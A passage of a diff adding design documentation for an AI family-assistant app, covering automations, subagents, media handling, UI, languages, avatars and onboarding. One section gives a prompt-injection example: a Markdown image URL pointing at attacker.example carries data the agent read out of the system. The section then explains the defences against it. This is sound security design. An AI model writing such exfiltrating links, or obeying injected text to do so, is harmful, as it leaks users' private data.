+ - **Missed firings** (Mac asleep, gateway down) collapse into one catch-up run, because the next time
1073
+ is computed from when the trigger actually fired.
1074
+ - **Agent runs** happen in a hidden conversation (`conversation.hidden`) through the normal runner.
1075
+ Its first row has kind `trigger`: the model sees `[Automation "<name>" · <why> · <time>]`, the
1076
+ prompt, the webhook body, and instructions to keep the final reply short or answer only
1077
+ `NO_NOTIFICATION`. The system prompt is the ordinary one, so runs share the profile's cached prefix.
1078
+ - **Finishing.** When a run's loop ends (`onLoopEnd`): an API error becomes an error notification, a
1079
+ final reply becomes a notification with that text, `NO_NOTIFICATION` on the last line (or no text)
1080
+ is recorded as `silent`, and a run someone stopped is `stopped`. None of these notify twice.
1081
+ - **Script runs** execute like `run_command` (login shell, profile folder, the same environment plus
1082
+ `NOLUNE_TRIGGER_ID` and `NOLUNE_PAYLOAD`) with a 10-minute timeout, keeping the last 4 KB of output. A
1083
+ failing script notifies once, when it starts failing, not on every run.
1084
+ - **Notifications** belong to the profile, like conversations. Dismissing is per person
1085
+ (`notification_dismissal`), and unread means newer than when that person last opened the menu
1086
+ (`notification_seen`). Pages listen on `/api/events` (SSE), which also carries profile renames and
1087
+ avatar changes, and reload the bell on change.
1088
+ - **Continue in chat** unhides the run's conversation, which moves into the sidebar with its whole
1089
+ transcript; sending a message into a hidden run does the same. A notification without a
1090
+ conversation (script failures, or the run was deleted) starts a new conversation whose first
1091
+ reply is the notification text.
1092
+ - **After a restart**, agent runs that were in progress continue (the interrupted command gets the
1093
+ usual "restarted" result) and script runs in progress are marked failed.
1094
+ - **Retention:** finished runs, notifications and hidden conversations are deleted after 30 days, and
1095
+ only the last 100 runs of each trigger are kept.
1096
+
1097
+ ## Subagents
1098
+
1099
+ A subagent is another agent that a chat's agent starts to work on a task in the background: big
1100
+ jobs that would fill the chat with reading (research across many pages, going through a folder
1101
+ of documents), several independent jobs at once, or long ones the agent shouldn't sit in. Like
1102
+ automations, it's a CLI command and a built-in skill (`subagents`), not a tool.
1103
+
1104
+ - **`nolune agent run [<id>] --prompt "<task>"`** (`--prompt -` reads stdin) writes a `subagent` row
1105
+ and a hidden conversation for it, whose first message is the task, queued as an `agent_message`
1106
+ with a note saying it's a subagent, nobody can answer questions, and its last message is its
1107
+ result. It returns at once with the id (`agent-1`, `agent-2`, … or one the agent gives), the log
1108
+ path, and how to hear back. Given the id of one that finished, it queues more work in the same
1109
+ conversation instead. At most 5 work at once per chat, and subagents can't start subagents.
1110
+ - **It doesn't inherit the chat.** Its conversation has a system prompt built for it from the
1111
+ profile as it is now (skills, memory notes, and the chat's folder if it's in one), the current
1112
+ tools, and a 5-minute cache. Nothing of the parent's transcript comes along: the prompt must say
1113
+ everything it needs.
1114
+ - **Model and reasoning:** the chat's, unless `--preset <name|id>` (resolved like
1115
+ `nolune wake --preset`) or `--effort <level>` say otherwise. The skill tells the agent to run
1116
+ `nolune preset list` and pick a name from it, never to make one up, and suggests a smaller model and
1117
+ `low` for simple reading-heavy jobs. More work may come with another `--preset` or `--effort`,
1118
+ which switch the subagent's conversation as in a chat (one cache rebuild).
1119
+ - **The gateway runs it** (`subagent-host.ts`), like `nolune wake`: the CLI only writes rows, and the
1120
+ scheduler (every tick, and right after each of the agent's commands) starts `pending` subagents
1121
+ through the normal runner. When its loop ends it is `done`, `failed` or `stopped`; one still
1122
+ waiting for its own background commands stays `running` until they end.
1123
+ - **`nolune agent watch <id>`** polls until its current work has ended and prints its last message
1124
+ (exit 1 with the reason if it failed or was stopped). The agent runs it with
1125
+ `run_in_background`, so the result arrives as a background command's output: the agent can do
1126
+ other work or end its turn meanwhile, and hears back as a message.
1127
+ - **`nolune agent steer <id> --prompt "…"`** queues a message the subagent reads at its next step,
1128
+ and marks it `pending` so the gateway starts it if it was waiting. A steer and the end of a loop
1129
+ can't miss each other: both check the other side in a transaction, and a loop that ends with a
1130
+ message queued starts again.
1131
+ - **The log** (`profiles/<slug>/agents/<chat>/<id>.log`) gets every row the subagent's
1132
+ conversation commits, as the gateway's runner emits it: messages from the agent that started it,
1133
+ what it wrote, the commands it ran and the start of their output. Never its reasoning. The agent
1134
+ reads it with `tail` when someone asks how it's going.
1135
+ - `nolune agent stop <id>` asks the gateway to stop it; `nolune agent list` shows the chat's subagents.
1136
+ - **In the web UI** a subagent's chat opens from the chat's background list and has no composer:
1137
+ only the agent that started it writes there, though people can Stop it. Its banner links back.
1138
+ - After a restart, subagents that were working start again (their interrupted commands get the
1139
+ usual result). A deleted chat takes its subagents' conversations with it; subagents are hidden
1140
+ conversations, so they're also deleted after 30 idle days.
1141
+
1142
+ ## Pictures and files
1143
+
1144
+ The agent shows a picture by writing a Markdown image, `![what it shows](path)`, and hands over a
1145
+ file by linking it, `[Tax form](path)`. The system prompt explains this (so only conversations
1146
+ created since know it). There is no new tool and the reply's `content` is never touched, so the
1147
+ cached prefix doesn't change.
1148
+
1149
+ - **What counts** (`@nolune/core/media-refs`): images whose target is a path on the computer (absolute,
1150
+ `~/…`, relative to the profile folder, or `file://`) or an http(s) URL, and links whose target is
1151
+ a path. Links to web pages stay links. It reads the text with marked's lexer, so code spans and
1152
+ code blocks are skipped, and the browser renders with the same file, so both agree.
1153
+ - **Copied when the reply is saved.** After a model call, before appending its row, the runner copies
1154
+ every target into `~/.nolune/media/<sha256>` in its original size and bytes (remote pictures are
1155
+ downloaded, with a 30 s timeout), then appends the row and one `media` row per target in the same
1156
+ transaction. The chat keeps showing a picture after the original is moved, edited or was a
1157
+ temporary file, and background runs nobody opens for days keep theirs. The streamed reply stays
1158
+ on screen meanwhile; Stop aborts the copying.
1159
+ - **Web pictures only from links the agent found.** The gateway downloads them itself, so without
1160
+ a rule a reply containing `![x](https://attacker.example/p.png?d=<something the agent read>)`
1161
+ would hand that data to the attacker as soon as it's saved, and a prompt injection would only
1162
+ have to get the model to write a picture, a lower bar than getting it to run `curl`. So a web
1163
+ picture is downloaded only if its exact link appears earlier in the conversation, in what a
1164
+ person wrote, an automation's prompt or event, or a command's output: the agent found the link
1165
+ rather than built it (the rule of Anthropic's web fetch tool). The agent's own replies and
1166
+ commands don't count; the match must be the whole link, not the start of a longer one; `&amp;`
1167
+ and `\/` read as `&` and `/`, so links copied out of HTML and JSON match. Otherwise the row says
1168
+ "Web pictures are shown only when nolune found the link on a page or in a message", and the system
1169
+ prompt tells the agent to download other pictures and show the file. This narrows the channel
1170
+ rather than closing it: a reply can still choose which of the links it found to show, and a
1171
+ command can print any link, but an agent that runs commands can already send anything with
1172
+ `curl`.
1173
+ - **Never from this computer or the local network.** Downloads use Node's `http`/`https` with a
1174
+ DNS lookup that refuses loopback, private, shared (CGNAT, Tailscale), link-local, multicast and
1175
+ reserved addresses, and this computer's own addresses. Node calls it for each connection, so the
1176
+ address checked is the one connected to (a name can't resolve to a public address for the check
1177
+ and a local one for the connection). IP addresses in a link are checked before connecting, and
1178
+ each redirect (up to 5) goes through the same checks.
1179
+ - **Limits:** 100 MB per file, 30 per reply. `config.json` and the database are never copied. A
1180
+ target that can't be copied gets a row with the reason in plain words (not found, a folder, too
1181
+ large, not a picture, a web link the agent didn't find, a local-network address, the download
1182
+ failed), which the chat shows in its place.
1183
+ - **Types come from the content.** A picture is never recognized by its extension. HEIC and TIFF
1184
+ (and camera RAW files) also get a full-size JPEG copy for display, made with macOS's `sips`; the
1185
+ download is still the original. Elsewhere they are shown as downloads. Width and height (with
1186
+ EXIF rotation applied) are read from the file header, so the chat reserves the space before a
1187
+ picture loads and stays scrolled to the bottom.
1188
+ - **Serving:** `GET /api/c/<conversation>/media/<id>` checks that the user belongs to the
1189
+ conversation's profile and serves the copy by its random id; it never takes a path. Pictures are
1190
+ sent inline and everything else as an attachment; `?download` sends the original. Responses
1191
+ carry `nosniff`, a sandboxing CSP (an SVG opened in its own tab can't run script) and an
1192
+ immutable cache header.
1193
+ - **The chat only loads nolune's copies.** The Markdown renderer swaps each target for its copy: a
1194
+ picture (click to open a viewer with a Download button), a download card for files and for
1195
+ pictures browsers can't show, or a pulsing placeholder while the reply is still streaming.
1196
+ DOMPurify drops any other `<img>` source, `<style>`, inline styles, `srcset`, audio, video and SVG
1197
+ images, so the browser never loads anything a reply names from another site without a click. The
1198
+ gateway's own downloads are what the two rules above guard.
1199
+ - **Cleanup:** `media` rows go with their conversation. The scheduler's hourly prune deletes stored
1200
+ files that no row points to any more and that are over an hour old (so a copy about to be saved
1201
+ is safe). Identical files are stored once.
1202
+ - The notification menu shows pictures as `[their description]` and file links as their label.
1203
+
1204
+ ## Web UI
1205
+
1206
+ It follows the ChatGPT app: a sidebar with chats, a centered column of messages, and a rounded
1207
+ composer. Most of the family doesn't read shell, so the default view hides the machinery.
1208
+
1209
+ - **Components** are [shadcn-svelte](https://shadcn-svelte.com) (Luma style, neutral base) in
1210
+ `src/lib/components/ui`, generated by its CLI and owned by the repo; `components.json` records the
1211
+ settings. Colors are CSS variables in `src/routes/layout.css`, with a dark theme
1212
+ (`mode-watcher`: system, light or dark). The fonts, Figtree and Fira Mono, are bundled from
1213
+ Fontsource and served by the app, so they don't depend on the OS or a font CDN.
1214
+ - **Replies** are built by `buildTranscript` (`src/lib/transcript.ts`): text blocks are shown as
1215
+ Markdown (`marked` + DOMPurify), and every run of thinking and commands between two texts is one
1216
+ collapsible group, "Worked for 12s" when done and a live "Thinking" / current step while running.
1217
+ Durations come from row timestamps, so they're approximate. The profile's assistant avatar sits at
1218
+ the top left of each reply: in the margin when the chat is wide, on its own line when it isn't.
1219
+ - **Steps** show the `summary` and `icon` the model wrote with each `run_command` call ("Checking
1220
+ tomorrow's weather in Berlin" with `cloud-sun-rain`), in the conversation's language. Opening a
1221
+ step shows the command and its output. Calls from before summaries existed say "Ran a command".
1222
+ Any Lucide icon works: `/api/icons/<name>` serves one icon's drawing from the `lucide` package, so
1223
+ pages don't download all two thousand; unknown names fall back to a terminal icon.
1224
+ - **Technical details** (Settings, per device, in the `nolune-prefs` cookie so the server renders it
1225
+ too) switch the labels to the raw commands and add context size, prompt-cache hit rate, cache
1226
+ misses, per-reply token usage and the model that wrote each reply. "Always show steps" opens the
1227
+ groups by default.
1228
+ - **The composer** is docked over the end of the chat and of the Images grid (`ComposerDock`):
1229
+ what scrolls under it fades and blurs into it instead of stopping at an edge, and the scroll
1230
+ area pads its end by the composer's height so the newest message still clears it.
1231
+ - **New chat** is the empty composer: the first message creates the conversation and is sent in
1232
+ the same request. Model and reasoning are picked from the chip in the composer: the model starts
1233
+ at the default preset, reasoning at the level last used on this device. In an existing chat both
1234
+ can change (see [Switching models](#switching-models)). The folder chip next to it starts the
1235
+ chat in a folder.
1236
+ - **The reasoning slider** in the chip's menu (`EffortSlider.svelte`) is a trip away from a dying
1237
+ star, after Outer Wilds, in a window of the welcome's space whatever the theme (it takes the
1238
+ dark theme's avatar colors). The profile's avatar, in a ring, is the thumb; the track runs out
1239
+ of the star at the left, and the further the avatar flies, the higher the level. The star goes
1240
+ through its life with the levels: a calm star, warmer, orange, a swelling red giant, and at the
1241
+ top a supernova (a flash, a pulsing core, shock waves and debris after the avatar, which
1242
+ shakes). The stars stream past faster at each level, to warp streaks at the top, the avatar
1243
+ trails longer and moves more (its `thinking` and `working` moods), and the fill glows in the
1244
+ star's color. A drag follows the pointer, leans the avatar into fast moves and springs onto the
1245
+ nearest level when let go; that is when the level is taken. A hidden range input carries the
1246
+ keyboard (arrows, Home, End; the menu would otherwise move focus to its items on up and down)
1247
+ and screen readers, and its steps are taken once they settle for 600 ms, or on Enter, or as the
1248
+ menu closes, so going up several levels in a chat that asks first asks once. The chat closes
1249
+ the menu while it asks, so the slider never shows a level that isn't set. The level's name
1250
+ rolls in the window, its hint fades in under it, and with reduced motion only the stage
1251
+ changes.
1252
+ - **Suggestions** under the new-chat composer (`packages/core/src/suggestions.ts`) come from the
1253
+ profile's memory, and each member gets their own. Until it has any, they are four general ones
1254
+ (a reminder, a weather check, finding a file, free disk space). After that, the default preset is
1255
+ asked, with `quickReply`, for four things the person looking at the page might ask nolune, each built
1256
+ on something in the notes, preferably about them or what they take part in, written as they
1257
+ would write it and in the notes' language: a label, a Lucide icon and the text the chip puts in
1258
+ the box. It gets today's date, the person's name and the notes, the core note first and then the
1259
+ most recently changed, up to 12,000 characters. Each member's are saved in
1260
+ `memories/.suggestions.json` under their user id, with a hash of the notes and their name, so
1261
+ the page only asks again when memory changed, they were renamed, or theirs are a week old; that
1262
+ is one call per member who opens the page, not one per profile. Someone's that weren't made again
1263
+ in 90 days are dropped, most likely a member who left. The page renders the saved ones (or the
1264
+ general ones) at once and, when they are stale, fetches `/api/p/<slug>/suggestions`, which waits
1265
+ for the model, then swaps them in. One call per member runs at a time; a failed one keeps the old
1266
+ chips and isn't retried for the same memory for 15 minutes. Anything in memory can show up in
1267
+ anyone's chips, which is no more than the Memory page already shows every member.
1268
+ - **The sidebar** lists folders above the chats. A folder's chats show under it when its page or
1269
+ one of its chats is open, or when its icon (a chevron on hover) is clicked; chats in folders are
1270
+ not in the Chats list. A chat nolune is working in shimmers like the "Thinking" label, for everyone
1271
+ in the profile: the sidebar listens on `/api/p/<slug>/running` (SSE), which sends the ids of the
1272
+ profile's running chats on connect and whenever an agent loop starts or stops.
1273
+ - **Chat titles:** the first message stands in until the chat's model names it, in the background.
1274
+ Anyone in the profile can rename a chat from its menu (the sidebar's, or the chat header's). The
1275
+ new name reaches everyone who has the chat open, doesn't move it up the list, and isn't replaced
1276
+ by a name the model was still thinking of.
1277
+ - `/` redirects to the last profile opened (`nolune-profile` cookie) or the only one, else to
1278
+ `/profiles`.
1279
+ Creating a profile there opens its [welcome](#welcome).
1280
+ - **Models & keys** (`/admin`, admins only) has the API keys and the model presets. A key is
1281
+ write-only: the page shows where the key in use comes from (nolune's config or an environment
1282
+ variable) and its last four characters, never the key. A new one is checked with its provider
1283
+ first (listing models, which is free), then saved to `config.json`, which is read on every
1284
+ request, so it applies without a restart. A key the provider rejects isn't saved; one that works
1285
+ on an account with a problem (out of credit, a restricted OpenAI key that can't list models) is,
1286
+ with the provider's words. OpenRouter lists its models for anyone, so its key is checked with `GET
1287
+ /key` instead. Removing a saved key falls back to the environment's. Replacing a key warns to keep
1288
+ the same workspace (Anthropic, OpenRouter) or project (OpenAI): pictures and PDFs already sent
1289
+ live in it. `nolune key set` does the same check, but saves anyway when the provider can't be
1290
+ reached. Custom providers are rows in the same list, after the keys, each with its API, its
1291
+ address and whether it has a key (never the key): Change opens its name, address and an
1292
+ optional key (left empty, the key saved for the same address stays), and Remove says which
1293
+ presets run on it first. **Add custom provider**, under the list, takes a name, the API (OpenAI
1294
+ or Anthropic), an address and a key. Saving asks the server for its models and says how many it
1295
+ serves, or what went wrong; `nolune provider add <name> <url> [--api A] [--key K]` does the same,
1296
+ asking for a key at a terminal when the server wants one. Under the keys, **Plans** lists both plans alike (what each is, who it's signed in as,
1297
+ what to do next): the Claude plan's row shows where Claude Code is and checks its sign-in; the
1298
+ ChatGPT plan's shows where Codex is and who it's signed in as, signs it in with ChatGPT, showing
1299
+ the link and the one-time code, updates by itself once the code is entered, and then offers Sign
1300
+ in again and Sign out. Without the agent, a row shows how to install it. Under the presets, **Add
1301
+ a model** opens the form (open from the start while there are none), in the order the choices are
1302
+ made: the provider, each custom provider a chip of its own by its name, saying which key, plan or
1303
+ server it runs on; the model, picked from the provider's
1304
+ list or typed (any id works, a dated snapshot say); an optional name, whose placeholder is the
1305
+ default it gets; and the context window, folded away under what it will be ("Auto · 1M"). The list
1306
+ comes from `/api/models` when the form needs it: Anthropic's models API, with names and windows;
1307
+ OpenAI's, only GPT-5.6 and newer (its current generations in September 2026; older ones can still
1308
+ be typed), without audio, realtime, pictures or search, nor dated snapshots of models also listed
1309
+ without a date, the newest first, with the flagships' known window; OpenRouter's, the models that
1310
+ can call tools (without `:batch` variants, which are for its batch API), the newest first, with
1311
+ its names and the window a preset gets; a custom provider's, as it lists them (`<id>/<model>`);
1312
+ Claude Code's own list for the Claude plan, by full id
1313
+ (`claude-opus-5-5`, not `opus`, which would move a chat to a newer model when Claude Code
1314
+ updates); and what Codex's own picker offers for the ChatGPT plan. It's asked for again when the
1315
+ provider's key changes. The context window is a row of chips: Auto (what the provider reports, if
1316
+ anything), 128K, 200K, 1M, or Custom, typed as `272k`, `1.5m` or `272000`. The provider checks the
1317
+ model id before the preset is saved.
1318
+ **Edit** on a preset opens the same form in its row, filled in (`editPreset`; the CLI has
1319
+ `nolune preset edit`). Only a new provider or model is checked with the provider, so renaming or
1320
+ setting the window needs no key; a name left as the default follows the model. New chats,
1321
+ automations that use the preset and chats switched to it from then on get the change; chats
1322
+ already on it keep the copy they took (see [Switching models](#switching-models)).
1323
+ Last, **Memory search** says what search by meaning uses (see [Memory](#memory)), or why it goes
1324
+ by words only (no key or custom provider, or off), and Change opens a form: Auto, OpenAI,
1325
+ OpenRouter, each custom provider that speaks OpenAI's API by its name, or Off, and a model for a
1326
+ provider (its placeholder is the default; a custom provider's has to be named, like
1327
+ `nomic-embed-text`). Saving asks the
1328
+ source once
1329
+ (`embeddingProblem`) and says if it didn't answer, and a source that works starts embedding every
1330
+ profile's facts in the background.
1331
+
1332
+ ## Languages
1333
+
1334
+ The interface comes in English, Russian, German, Spanish and French. Only the interface: what
1335
+ people write, nolune's replies, the steps' summaries (the model writes those in the conversation's
1336
+ language), chat titles and everything that reaches the model stay as they are, so the prompt and
1337
+ its cache never depend on someone's settings. nolune already answers in the language it's written to.
1338
+
1339
+ - **Picking one.** Settings has Language, per device in the `nolune-prefs` cookie like the other
1340
+ settings: a language, or "Same as the browser" (the default), the first language in the
1341
+ browser's `Accept-Language` that nolune has, else English. `hooks.server.ts` works it out for every
1342
+ request (`locals.locale`), so server-rendered pages, `<html lang>` and form messages match, and the
1343
+ sign-in page is in the browser's language too. Picking another language reloads the page, since
1344
+ some of what's on it was written by the server.
1345
+ - **Messages** are in `src/lib/i18n/messages/<locale>.ts`, one object per language grouped by page.
1346
+ English is the source: the others are typed as its shape, so a missing key or a wrong parameter
1347
+ fails `pnpm check`, and `i18n.test.ts` checks that each has English's `{slots}`. Messages with
1348
+ values in them are functions (`workedFor: (duration) => …`), so each language puts the value where
1349
+ its grammar wants it and picks plural forms with `Intl.PluralRules` (`plural.ts`; Russian has one,
1350
+ few and many). Sentences with markup in them (a link, a name in bold, a command) are strings with
1351
+ `{slots}` that `Rich.svelte` fills with snippets: a translation moves the link, not the markup.
1352
+ - **In code.** Components get `{ m, locale, intl }` from `getI18n()`, which the root layout sets;
1353
+ server loads and actions use `translations(locals.locale)`. Helpers that make text
1354
+ (`formatAgo`, `formatBytes`, `activeStepLabel`, the copy buttons and file cards `renderMarkdown`
1355
+ adds, upload errors) take the messages as a parameter. Dates and numbers go through `Intl` with
1356
+ `intl`, which is British English for English so dates still read "28 Sept".
1357
+ - **Schedules** on the Automations page: core's `parseCron` takes a cron expression apart (which
1358
+ days, which months, which times) and each language words that with its own grammar in
1359
+ `automations.describe`: "По понедельникам и средам в 09:00", "Montags bis freitags um 07:30
1360
+ Uhr". English is core's `describeSchedule`, as before. Day names come from `Intl`.
1361
+ - **The emoji picker** gets its labels (emoji-picker-element's translations) and emoji names and
1362
+ search words (emoji-picker-element-data in the language, served by nolune) in the language too.
1363
+ - **What stays as it is.** Image templates' names, sentences and choices (they are the prompt the
1364
+ chat gets) and the "Make an image:" message, skills' descriptions, memory notes' names,
1365
+ notifications (the agent writes them), and errors that come from core, since the CLI and the
1366
+ agent share them. The general suggestions under a new chat's box (before a profile has memory)
1367
+ are in the interface's language: they are the start of a message for the person to finish, like
1368
+ typing it. The ones nolune makes from memory are in the family's language, like the notes.
1369
+ - **Adding a language.** Copy `en.ts` to `<locale>.ts` and translate it, `automations.describe`
1370
+ included (`ru.ts` shows one with grammatical cases); add the code to `LOCALES` and its own name to
1371
+ `LANGUAGE_NAMES` in `locales.ts`, and the messages to `MESSAGES` in `src/lib/i18n/index.ts`; give
1372
+ the emoji picker its data in `EmojiChip.svelte`. TypeScript points at anything left out.
1373
+
1374
+ ## Assistant avatars
1375
+
1376
+ Each profile's assistant has a small mascot: one of eight one-color glyphs (probe, campfire, lantern,
1377
+ planet, quantum, comet, moon, satellite), redrawn by hand as SVG from a concept sheet. It shows next
1378
+ to every reply, large on the new chat screen, in the profile switcher and the profile list, on
1379
+ notifications, and as the tab icon of the profile's pages. People keep `UserAvatar`, their initial
1380
+ on a colored circle.
1381
+
1382
+ - **Drawing.** `packages/core/src/avatars.ts` has the names and the glyphs: shapes on a 24×24 grid
1383
+ filled with `currentColor`, with no strokes or second tone. Eyes and other details are holes
1384
+ knocked out with a mask, so the page shows through in both themes, and the eyes are shapes of
1385
+ their own so they can move. `AssistantAvatar.svelte` (`avatar`, `mood`, `size`) draws one. Each
1386
+ avatar's color is a `--avatar-<name>` variable in `layout.css`: the dark value is the concept
1387
+ sheet's, the light one the same hue at least 3:1 on white, the sidebar and bubbles. The tab icon
1388
+ reads both from the file and follows the system's theme, like the tab strip.
1389
+ - **Choosing.** A new profile gets the avatar its slug picks (`defaultAvatar`, a hash of the slug),
1390
+ so profiles differ without anyone choosing. The migration that added `profile.avatar` gave
1391
+ existing profiles theirs the same way, in SQL. Any member changes it on People & profile, or with
1392
+ `nolune profile avatar <name>`, which the agent runs when asked ("switch to the comet"; the
1393
+ `nolune` skill explains it). The picker there (`AvatarPicker.svelte`) is laid out like a
1394
+ character select: the pick up close on a starry stage lit in its color, which pops in with a
1395
+ squash when it changes, next to the roster, whose tiles take their avatar's color and show its
1396
+ working motion on hover.
1397
+ - **Tint.** A profile's pages take on its avatar's hue: `src/lib/tint.ts` gives the page, sidebar,
1398
+ bubbles, hover and (in dark) card, menu and composer greys a little OKLCH chroma in the avatar
1399
+ color's hue, at each grey's own luminance, so text and avatars keep their contrast. The root
1400
+ layout renders it into the head as a `<style>` that outranks `layout.css`, so the first paint and
1401
+ menus portaled to `<body>` are tinted too, and a new profile or avatar swaps it in place.
1402
+ See-through borders and inputs take the tint from what's under them; light cards, menus and the
1403
+ composer stay white, a step above the page. The `theme-color` meta follows the tinted page. Pages
1404
+ outside a profile (sign-in, the profile list, Models & keys) keep the plain greys.
1405
+ - **Moods.** Only the avatar on the newest reply moves; older ones hold still. It follows what the
1406
+ chat already knows: `thinking` while the model streams (eyes up, a gentle bob), `working` while a
1407
+ command runs (a busy hop, and the avatar's own motion: the flame flares, the antenna blinks,
1408
+ quantum's dashes flicker), `waiting` while messages are queued behind the turn (a slow pulse),
1409
+ `blocked` on an API error or when Continue is shown (drooping eyes, a muted color), `done` for a
1410
+ moment after a turn (a squash), then `idle` (an occasional blink). Hovering it shows the current
1411
+ step in the step list's words. It's CSS animation only; with reduced motion each mood keeps its
1412
+ pose and nothing moves.
1413
+ - **Live.** A new avatar or name reaches open pages: `/api/events` pings the profile's members and
1414
+ the page loads its data again. The CLI changes the database from another process, so the gateway
1415
+ also looks for changes after every command and on each scheduler tick.
1416
+ - **Not for the model.** The avatar and the mood never reach it: nothing goes into the system
1417
+ prompt, the tool or the request, so caching is untouched. Only the `nolune` skill's description
1418
+ mentions avatars, so new chats know the command.
1419
+
1420
+ ## Welcome
1421
+
1422
+ Creating a profile opens its welcome, `/p/<slug>/welcome`: an intro in space, then one question per
1423
+ screen, like Arc's first launch, and the profile's first chat. It sits outside the profile's
1424
+ sidebar layout (`+page@.svelte`). Each step saves as it's answered, so leaving halfway loses
1425
+ nothing, and opening the page again runs it again.
1426
+
1427
+ - **The idea: everything is a dot.** A star draws the wordmark, whose three trailing dots type,
1428
+ then fly out as the eight avatar colors, orbit like planets and pool into an aurora behind the
1429
+ questions. One of those colors
1430
+ becomes the assistant. Imported memories fly into the Memory page's dot grid, and the grid
1431
+ gathers into the avatar as the new-chat page opens.
1432
+ - **Intro** (`Wordmark.svelte`, `IntroSky.svelte` in `src/lib/components/welcome`). Space, after
1433
+ Outer Wilds, timed to a song (`music`): dark whatever the theme, stars coming out over faint
1434
+ nebulae and a galaxy band on a canvas, the camera drifting slowly into them, one shooting star.
1435
+ At nine seconds a star at the middle of the screen brightens and sweeps across the letters,
1436
+ which appear behind it (the logo's own path from `logo.svg`, revealed with a clip-path), and
1437
+ lands as the first dot. The three dots bounce like a typing indicator and burst into eight
1438
+ planets in the `--avatar-*` colors of the page's theme, each on its own faint orbit around the
1439
+ letters, the inner ones faster. Then they melt into soft blobs, and as the song lifts (23.6 s)
1440
+ space gives way to the page like a sunrise (a dark page keeps a few stars) and the welcome
1441
+ comes up. A click or Esc skips it, and with reduced motion it opens on the welcome.
1442
+ - **A model, only when there is none** (`ModelStep.svelte`). Five cards: the Claude plan, the
1443
+ ChatGPT plan, and an Anthropic, OpenAI or OpenRouter key. A key is checked and saved as on Models
1444
+ & keys (a key already set skips pasting); a plan's sign-in is checked, and when its agent isn't
1445
+ installed or signed in the step says what's wrong and points to Models & keys, where the sign-in
1446
+ lives. Then chips with the provider's first six models (or a typed id) make the first preset,
1447
+ which becomes the default. Only admins can add one; anyone else is told to ask and carries on.
1448
+ - **The avatar.** `AvatarPicker` in its big layout, starting on the avatar the slug picked. A
1449
+ tile only previews; "This one" saves it. The page then takes on the avatar's tint, which grows
1450
+ as a circle from the avatar (a view transition with a `clip-path` animation), while the avatar
1451
+ bounces and says hello. The welcome's load returns no `profile`, so the root layout doesn't
1452
+ tint it before then; the page renders the tint itself once it's chosen.
1453
+ - **Memories from another assistant** (`MemoryStep.svelte`). People copy a prompt (`EXPORT_PROMPT`
1454
+ in `packages/core/src/memory-export.ts`) into ChatGPT, Claude or Gemini, which answers with a
1455
+ code block of dated lines under five headings (Instructions, Identity, Career, Projects,
1456
+ Preferences), and paste the answer. The same parser counts the sections under the box while
1457
+ they paste, and runs again on the gateway before anything is saved. Inside a code block every
1458
+ line under a heading counts; without one, only dated lines and list items do, so the
1459
+ assistant's own sentences stay out. An answer that doesn't follow the format goes to the
1460
+ default preset with `quickReply`, told to only rewrite it and to treat it as data. "Start
1461
+ fresh" skips to the fresh start.
1462
+ - **Where they go** (`importMemoryExport`, `memory-import.ts`). A profile is shared, so rules are
1463
+ pinned in `core.md` with the person's first name ("Jamie: keep answers short"), and what
1464
+ doesn't fit its 4,000 characters goes to their own note. Identity, career, preferences and
1465
+ anything under another heading go to their note (the member's, else `people/<name>.md`), a
1466
+ heading each; each project to
1467
+ `projects/<name>.md`, named by the entry's first words ("Tidepool: …"), or to `projects.md`.
1468
+ `addMemoryFacts` adds them under the heading, skips facts memory already has, and dates each
1469
+ one as the export did in `.facts.json`; `[unknown]` ones get 0, like facts from before dates
1470
+ were kept, so the Memory page shows them lightest.
1471
+ - **Memories arrive** (`MemoryArrival.svelte`), slowly, to the song's last phrase. The saved
1472
+ facts show as lines, coming in one after another; on the phrase's second bar each becomes a dot
1473
+ that arcs from its line to its place in a grid laid out like the Memory page's (one row per
1474
+ note), landing at full strength and fading to its age. The count ticks up with them. As the
1475
+ phrase turns, the dots drift along curves into the avatar, which glows brighter with each. Then
1476
+ the page goes to `/p/<slug>`: a view transition names the avatar on both pages
1477
+ (`nolune-assistant`), so it glides into its place over the composer while the page gives way over
1478
+ two seconds (`html.nolune-arrive`), landing on the song's last note.
1479
+ - **A fresh start** (`FreshStart.svelte`), for "Start fresh" or an import that added nothing: an
1480
+ ending too, to the same last phrase. The avatar bounces in, the eight colors from the intro come
1481
+ out around it as planets on faint orbits (behind it on the far side, in front on the near one),
1482
+ "A fresh start." comes up on the second bar, and as the phrase turns they spiral into the
1483
+ avatar, which glows with each, before the chat opens as after the memories.
1484
+ - **Sounds** (`src/lib/welcome/sounds.ts`). A song, and a sound only where the screen moves by
1485
+ itself; clicks are silent. The song (`music`) plays the intro, rising out of silence with the
1486
+ stars; once the welcome waits it plays on much quieter under the questions (`duck` to `UNDER`),
1487
+ going round for as long as they take. When the memories arrive it jumps to its last phrase at
1488
+ full level (`lastPhrase`, 179.8 s in, with its bars in `PHRASE`) for both endings, and ends by
1489
+ itself over the new chat. It streams through a media element in the Web Audio graph, so
1490
+ three and a half minutes of music are never decoded at once. The short sounds are `confirm`
1491
+ (a key or plan check passes), `wash` (the avatar's tint washing in) and `yap`: a small animal's
1492
+ shout when an avatar is picked or the big one poked, sped up, on a different note of a pentatonic
1493
+ scale (`NOTES`) each click, whichever the avatar. Each sound is a file in
1494
+ `src/lib/assets/sounds/welcome` (`<name>.mp3`), bundled through `import.meta.glob` (where each
1495
+ came from is in `CREDITS.md` next to them); one without its file is silent. The screen waits
1496
+ for the song to start, up to a second and a half; one that can't start on time (still loading,
1497
+ or the page not allowed sound yet) joins as soon as it can, that far in, and a short sound that
1498
+ late is dropped. Browsers only play sound after a click: creating the profile is one, and the
1499
+ welcome is a client-side navigation from there; opened some other way, the song joins in at the
1500
+ first click. The Sounds setting (per device, in `nolune-prefs`) and the speaker button on the
1501
+ welcome turn them off; turned back on, the song goes on where it was.
1502
+
1503
+ ## Running `nolune` in the gateway
1504
+
1505
+ The agent runs `nolune` all the time (`nolune view`, `nolune memory show`, `nolune agent watch`, …), and each
1506
+ run used to start Node and load all of nolune: about 150 ms from the bundle and 650 ms from a source
1507
+ checkout. Now the gateway, which has nolune loaded already, runs the command, and `nolune` only asks it
1508
+ to (issue #42).
1509
+
1510
+ - **The socket** is `~/.nolune/run/cli.sock`, in a folder only this user can open (mode 700,
1511
+ the socket 600), so it adds no one who couldn't already read `nolune.db`. It isn't the web port,
1512
+ which is public through the tunnel. `serve.ts` starts it from `hooks.server.ts`; it replaces a
1513
+ socket left by a gateway that was killed, but never takes over from another gateway still
1514
+ answering on it.
1515
+ - **The protocol** (`protocol.ts`) is one JSON message per line. `nolune` sends the arguments, its
1516
+ folder and its environment; the gateway runs the command with them as its `io` (see
1517
